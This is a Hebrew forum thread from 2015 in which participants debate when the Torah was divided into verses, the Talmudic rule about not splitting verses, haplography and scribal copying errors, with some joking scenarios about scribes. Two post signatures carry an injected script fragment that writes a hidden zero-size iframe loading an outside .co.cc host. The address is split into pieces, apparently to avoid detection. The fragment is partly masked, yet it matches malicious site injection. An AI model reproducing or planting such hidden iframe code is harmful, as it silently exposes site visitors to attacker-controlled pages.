|
|
| נשלח ב-7/7/2015 08:13 |
 |
| |
תודה לכל הקוראים והמגיבים.
לאברם העברי
בבלוג שלך המרתק העלית נושא נוסף: כאשר יש שתי מילים צמודות, שאחת נגמרת באותה אות שהשניה מתחילה, יתכן שהאות תובא רק פעם אחת. יתכן שזה נובע מצורת הכתיבה העתיקה מאד, שבה יכלה מילה להתחלק על שתי שורות.
לגבי הענין הראשון, הבאתי את הרעיון הזה באשכול שכבר ישן, משמו של פרופסור גרינץ
http://www.bhol.co.il/forums/topic.asp?topic_id=2912033
לגבי כך שתיתכן התפתחות בצורת העברת הטקסט, זה בדיוק מה שכתבתי כאן, ואני שמח שזכיתי לכוון לדעתך. כמובן יש לזכור שאלו אך ורק השערות. והן כולן תלויות בכך שאנו משתמשים בדגם התפתחותי. כלומר, שפעם, באיזה שהוא עבר, יכלה המסורת להיות פחות מסויימת, פחות בעלת צורה מחייבת, ובמשך הזמן היא לובשת צורה עם כללים. זה תהליך מוכר, אבל זה לא אומר שהוא תמיד משקף את מה שעבר גם על המסורת שלנו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-7/7/2015 08:20 |
|
| |
בער כביכול וכולם
הקביעה "אם זה שוטנשטיין זו לא אפיקורסות" באה לשלוש מטרות.
א. יש כאן אמירה מתחום הסוציולוגיה. כאשר לספר או לסדרת ספרים יש הכשר ותמיכה כמו שוטנשטיין, זה מעיד על לגיטימיות כאן ועכשו. ואנו חיים כאן ועכשו ושופטים את עצמנו - גם - לפי כאן ועכשו.
אפשר לדון למה שטיינזלץ לא זכה לזה. וחבל שהותקף בשעתו. ועד כמה שאני מבין, זו היתה התקפה לא הוגנת ולא מוצדקת, אלא שראוי לשמר זאת לאשכול אחר (כמדומה יש אבל תמיד אפשר חדש. יש אשכול מקביל בבחח, ואפשר למצוא שם מידע).
ב. אנו מחוייבים למחשבה חופשית מכל נטל ולחיפוש האמת נטו גם אם היא קשה. אבל זה לא קל. ולעתים אדם יכול להתייסר מפני שהוא חושד בעצמו שמסקנותיו מנוגדות למסורת שעליה גדל. לכן כתבתי מה שכתבתי. כיון שהגישה שהצגתי מופיעה גם במקורות, זו אינה חריגה מן הכללים שלפחות חלקנו היינו רוצים לשמור עליהם.
ג. כהמשך לסעיף הקודם, העיסוק בשאלות כאלו וכל שכן להגיע למסקנות שונות מהמסורת גובים מחיר נפשי לא קל. לכן אם אפשר לחסוך את המחיר הזה מפני שמתברר שלא סטינו ולא יצאנו נגד, מה טוב. וחשוב לציין זאת.
כמובן, ההאחזות בשוטנשטיין בתור "הוכחה" היא לשון קצרה מאד לכך ש"אפילו בספר אורתודוכסי בן זמננו זה לגיטימי" וכל שכן למי שמוכן לעיין בראשונים בתקופה שעדיין לא היו הגבלות של היום...
____נוספה ה' הידיעה שנשמטה בהקלדה_____________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 07/07/2015 08:27:55
 |
|
|
|
|
| נשלח ב-7/7/2015 08:27 |
|
| |
ישיבישער
אודות שאלתך
מה המשמעות של הכלל כל פסוקא דלא פסקיה משה לא פסקינן
כאן, בניגוד למה שכתבתי, כבר קבוע הכלל שמשה הוא שהשאיר לנו במסורת חלוקה לפסוקים, ואין אנו חורגים מן החלוקה שלו.
כמובן באיזה הקשר ניתן לחלק פסוקים למרות הכלל ובאיזה לא, הרי הדברים מזמינים פרשנות. האם זה רק בכתב? בקריאה לימודית, בקריאה כלשהי? האחרונים כמדומה מחמירים בזה, בהתאם להתפתחות בכיוון פורמלי של פרשנות ההלכה.
בכל אופן, השאלה שלי היתה מאימתי קיים הכלל הזה. אם הוא הלכה למשה מסיני, אז חייבים לומר שאכן חלוקת המילים לפסוקים היא קבועה וכל מה שכתבתי כאן לא נכון. החידוש שהפתיע גם אותי הוא שהכלל הזה יכול להיות מאוחר בהתאם לגמרא.כלומר, מי שאמר את המילים האלו האמין שיש מסורת עתיקה, אבל האם הוא אמר את זה מפני שבאמת היתה לו מסורת או שהוא אמר את מה שהאמין - נניח מסברה, שלא יתכן אחרת - אבל לא היה מודע לכך שזה בעצם חידוש שאינו משקף את ההיסטוריה.
___נוספה הבהרה______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 07/07/2015 08:29:26
|
|
|
|
|
| נשלח ב-7/7/2015 08:44 |
|
| |
לצערי הרב לא הבנתי, איך אתה מפרש את המלים "פסוקא דפסקיה משה", מה שנראה מהודעתך שאתה מטיל בהם ספק, אבל פירוש חילופי לא שמעתי כאן. אשמח אם תבהיר.
|
|
|
|
| נשלח ב-7/7/2015 11:08 |
|
| |
| מיימוני כתב: |  |
ב. אנו מחוייבים למחשבה חופשית מכל נטל ולחיפוש האמת נטו גם אם היא קשה. אבל זה לא קל. ולעתים אדם יכול להתייסר מפני שהוא חושד בעצמו שמסקנותיו מנוגדות למסורת שעליה גדל. לכן כתבתי מה שכתבתי. כיון שהגישה שהצגתי מופיעה גם במקורות, זו אינה חריגה מן הכללים שלפחות חלקנו היינו רוצים לשמור עליהם.
ג. כהמשך לסעיף הקודם, העיסוק בשאלות כאלו וכל שכן להגיע למסקנות שונות מהמסורת גובים מחיר נפשי לא קל. לכן אם אפשר לחסוך את המחיר הזה מפני שמתברר שלא סטינו ולא יצאנו נגד, מה טוב. וחשוב לציין זאת.
כמובן, ההאחזות בשוטנשטיין בתור "הוכחה" היא לשון קצרה מאד לכך ש"אפילו בספר אורתודוכסי בן זמננו זה לגיטימי" וכל שכן למי שמוכן לעיין בראשונים בתקופה שעדיין לא היו הגבלות של היום...
|
|
ימות המשיח: מייסדי פורום עצור כאן חושבים, מתגוננים מפני טענות על יתר שמרנות
סליחה על ההפרה הקלה של כללי הפורום, לא הצלחתי להתאפק. אקבל מחיקה באהבה.
|
|
|
|
| נשלח ב-7/7/2015 11:49 |
|
| |
כל פסוקא דלא פסקיה משה לא פסקינן
זו מחלוקת בגמרא ביו רב לשמואל. לכאורה אנו פוסקים לפי רב.אמנם?
מעשה של כל יום בתפילת שחרית: דַּבֵּר אֶל בְּנֵי יִשְׂרָאֵל וְאָמַרְתָּ אֲלֵהֶם וְעָשׂוּ לָהֶם צִיצִת-(מפסיקים -מנשקים הציצית) עַל כַּנְפֵי בִגְדֵיהֶם לְדֹרֹתָם וְנָתְנוּ עַל צִיצִת - הַכָּנָף פְּתִיל תְּכֵלֶת:
בקידוש בליל שבת- .....ויהי ערב ויהי בוקר יום השישי ויכולו..
|
|
|
|
| נשלח ב-7/7/2015 12:18 |
|
| |
אגב
הפי' עד דן ובצירף שלל דוגמאות מובא בתוספת ברכה על התורה
|
|
|
|
|
| נשלח ב-7/7/2015 12:54 |
|
| |
| ירוחםשמ כתב: | | בקידוש בליל שבת- .....ויהי ערב ויהי בוקר יום השישי ויכולו..
|
|
יש שנוהגים לומר קודם את תחילת הפסוק: וירא אלוהים את כל אשר עשה וגו' (בהשפעת הנוהגים כהגר"א)
|
|
|
|
| נשלח ב-7/7/2015 13:02 |
|
| |
כמדומני
ואיך נוהגים -ב וכרות עמו הברית?
|
|
|
|
| נשלח ב-7/7/2015 13:16 |
|
| |
מקבץ ליקוטים לדברים שעלו באשכול: א. לגבי מקורה\זמנה של החלוקה לפסוקים – חידה היא ותהי לחידה. אני לא יודע על תשובה מוסמכת ונראה לי שזה עוד אחד מאותם נושאים בהם המסורת שלנו מעורפלת (לתשומת לב הקורא בערולאאדע, שעדיין לא יבשה ידו מלנסות לתארך ליקויי חמה עפ"י מסורת חז"ל :) ראו כאן את הערך (באנגלית) מהאנצ' יודאיקה בנושא, ממנו עולה ש:
1) הגישה המרכזית ביהדות משייכת את החלוקה לתקופת אנשי כנה"ג.
2) עדיין, כידוע, האמוראים עצמם לא היו בקיאים בחלוקה זו וכו' (הסוגיה בקידושין ל.).
3) המקור הראשון הכתוב בו מופיעה חלוקה לפסוקים הוא התנ"כים הלטיניים מהמאה ה- 16 (1525-1571).
4) יש השערה מעניינת לפיה החלוקה לפסוקים היתה קיימת במקור רק בספרות המזמורים (שם די ברור מהו "פסוק") ומשם הנוהג לחלוקה עבר לפרוזה – אבל אין לכך ראיות. כמו כן ראו בספר הזה של גינזבורג מעמ' 68, שם הוא מונה את ההבדלים וטוען שהיו מסורות שונות של חלוקת הפסוקים, ונוסח המסורה הוא בחירה + שיפצור של אחת המסורות האלו. ב. לגבי ה'הדבקה' של אות בסוף מילה למילה הבאה – אכן צדק מיימוני שגרינץ הביא כמה דוגמאות, וצדק מי שהעיר שכבר קדם לו ה"תוספת ברכה", אבל גם הם לא חידשו זאת מדעתו אלא הלכו (בתת-מודע?...) בעקבי החוקרים שהצביעו על התופעה, שכמו שכתבתי, זכתה לשם לועזי יפה: הַפְּלוֹגרפיה, ומקורה לאו דווקא בחקר המקרא, אלא בחקר כתבי היד בכלל, והדברים עתיקים וכו'. ג. לגבי האות ו' ומשמעותה – בזכות האשכול הזה, גיליתי את המאמר המרתק הבא שמעולם לא נתקלתי בו קודם – ובו המחבר (ד"ר יוסף קליין) טוען שיש ויש משמעות להופעתה\אי הופעתה של האות ו' בתחילת פסוקים! הנה כמה ציטוטים: בדיקה של האותיות הפותחות את פסוקי התורה על-פי המסורה, מעלה כי מתוך 5,845 פסוקים, 4,169 פותחים באות וי"ו (71.33%), ו-1,676 (28.67%) - באותיות אחרות האחוז היחסי של פסוקי התורה שאינם פותחים באות וי"ו, עולה בהדרגה מספר לספר. תוצאה זו ניכרת במיוחד על-ידי חלוקת התורה ל-167 קטעים שווים באורך 35 פסוקים (5,845 = 167 X 35), וספירת האחוז היחסי של פסוקים ללא וי"ו בתחילתם לסיכום, הימצאותה או העדרה של וי"ו בתחילת הפסוק היא סמן פרשני מובהק, לפחות בחלק מפסוקי התורה. ניתן להצביע על מקומות רבים במקרא שבהם ניכר קשר בין ייחודיות הטקסט לבין הימצאות הוי"ו בפתיחת הפסוקים בו, או בהעדרו; הקשר האמור קיים ובולט ככל שהתופעה חריגה יותר. http://www.biu.ac.il/JH/Parasha/simchat/kle1.html
|
|
|
|
|
| נשלח ב-7/7/2015 13:19 |
|
| |
ואגב, כיוון שנראה לי שיש עניין טכני לגמרי שלא מספיק ברור בכל הקשור לשאלה איך בעצם העתיקו כתבי יד ומה ההשלכה של זה על הנוסח, לא אמנע להעתיק מה ששרבטתי זה עתה בתגובה בבלוגי:
סופר צללים (רומן היסטורי) יושב לו אישבעל בן בדע סופר המלך, ועובד על פרויקט מלכותי חשוב, של העתקת מגילות קדושות שהיו פזורות עד כה למגילה אחת, מה שאנו קוראים היום (!) "התורה". אחרי כמה ימי עבודה ההתלהבות קצת שוככת, מה גם שהטמפרטורה בחדר היא 30 מעלות, הקלף ישן, הכתב הוא עברי קדום, אין רווח בין המילים והמגילות קרועות בקצותיהן… בין כך ובין כך הוא עושה את עבודתו מוכנית לחלוטין, כשדעתו מרחפת מדי פעם למס שהוא טרם שילם, לבתו שאמורה להינשא לאיש, למעשר הבהמה שפתאום מסתבר שהוא חייב בו (על פי מקור P שהתגלה לא מכבר) וכו'…
אחרי כמה חודשים (בינתיים יש לו עוד משימות שגרתיות כמובן), הוא מגיע בשעת ערב מאוחרת לסוף מגילה מספר 47, שבמקרה הסתיימה במה שאנחנו קוראים היום (!) במדבר לו פסוק ה', נניח. הוא מתמתח ומפהק, ומחליט להמשיך מחר במגילה הבאה. למחרת בבוקר הוא קם וחוזר לעבודתו המייגעת, וממשיך להעתיק את מגילה 48 בה מסתיים מה שנאנו קוראים היום (!) ספר במדבר ומתחיל מה שאנו קוראים היום (!) ספר דברים. אגב שטף ההעתקה, הוא מוסיף את ה-ו' של "יריחו" ל"אלה הדברים" – או שמוחו מורה לו לכתוב "ואלה הדברים" מתוך הרגל או מתוך איזושהי סברה, למרות שעיניו רואות שכתוב "אלה" (יש עשרות ניסויים פשוטים שמוכיחים שאדם מסוגל לקרוא\לדקלם\לכתוב X למרות שכתוב\מוצג לפניו Y, תלוי בהקשר וכו'). תרחיש מעט שונה: אישבעל לא עובד לבד, אלא יושבים איתו עוד 3 סופרים, ומעליהם עומד שפן בן חלקיה, *שמקריא* להם מתוך המגילות העתיקות שבידו – ככה מרוויחים זמן ויוצרים 3 עותקים מקבילים באותו זמן עבודה. דא עקא, שפן הנ"ל הוא ממוצא תימני, וכשהו מגיע לסוף מה שאנו קוראים היום (!) ספר במדבר, הוא מאריך בסיום "על ירדן ירחוווווווווווו" כדי לסמן לקוראים שזהו סוף מגילה ויש להשאיר רווח. כיוון שסיים לסלסל את ה- ו', ממשיך שפן וקורא "אלה הדברים", כך שהתוצאה מבחינת השומעים היא משהו כזה: "…ירחוווווווו אלה הדברים…", ומייד שלושה סופרים נאמנים מעתיקים למגילותיהם "ואלה הדברים"…
|
|
|
|
|
| נשלח ב-7/7/2015 13:40 |
|
| |
אתה מכיר רק שתי אפשרויות דביליות אלו, או שישנן עוד?
|
|
|
|
| נשלח ב-7/7/2015 13:52 |
|
| |
| ישיבישעאר כתב: | | | אתה מכיר רק שתי אפשרויות דביליות אלו, או שישנן עוד? |
|
אהה, בטח שיש עוד! הנה משהו מודרני יותר:
השנה היא ה'תשע"ד, נין-נין-...נינו של אשבעל בן בדע, ר' סוייפער-סתאם שרייבער, יושב בדירתו המרווחת בקרית-ספר וכותב ספר תורה בקדושה ובטהרה, כולל טבילה לפני כל שם הוי-ה וכו'.
הוא מעתיק מתוך תיקון סופרים מוגה היטב, משפחתו פטורה ממיסים, משירות בצבא ואפילו ממעשר בהמה, ובנותיו כבר התחתנו בסידור מלא.
לאחר כמה חודשי עבודה הוא חותם בדמע "לעיני כל ישראל" ומוסר את הספר להגהה ממוחשבת - והנה חשכו עיניו:
|
|
|
|
| נשלח ב-7/7/2015 14:18 |
|
| |
אני רואה שכשמדגדגים אותך יוצא עוד... מעניין מאד, מכיון שסופרים כאלו יש והיו הרבה באלף השנים האחרונות, א"כ איך לא נוספו כל מיני וואוי"ם וציצי"ם ופרחי"ם בתורתינו? וכנראה שענין טעות סופר ידוע למין האנושי, ולכן לא מסתמכים רק על עותק אחד של סופר אחד, אלא הולכים אחרי הרוב. פשלות קורות, אבל אי אפשר להסביר הכל רק על בסיס פשלות. לזה התכוונתי "דבילי", כשאתה מזלזל באינטלגנציה, לא משנה של מי, אתה מציג אותו כדביל.
|
|
|
|
| נשלח ב-7/7/2015 14:19 |
|
| |
ואנקדוטה
בבית כנסת אשכנזי, היה ספר תורה שבמקום לתת היה כתוב לשאת.
שנים לא הבחינו בהבדל הואיל ובהברה אשכנזית הגיית שתי המלים זהה.
|
|
|
|
|
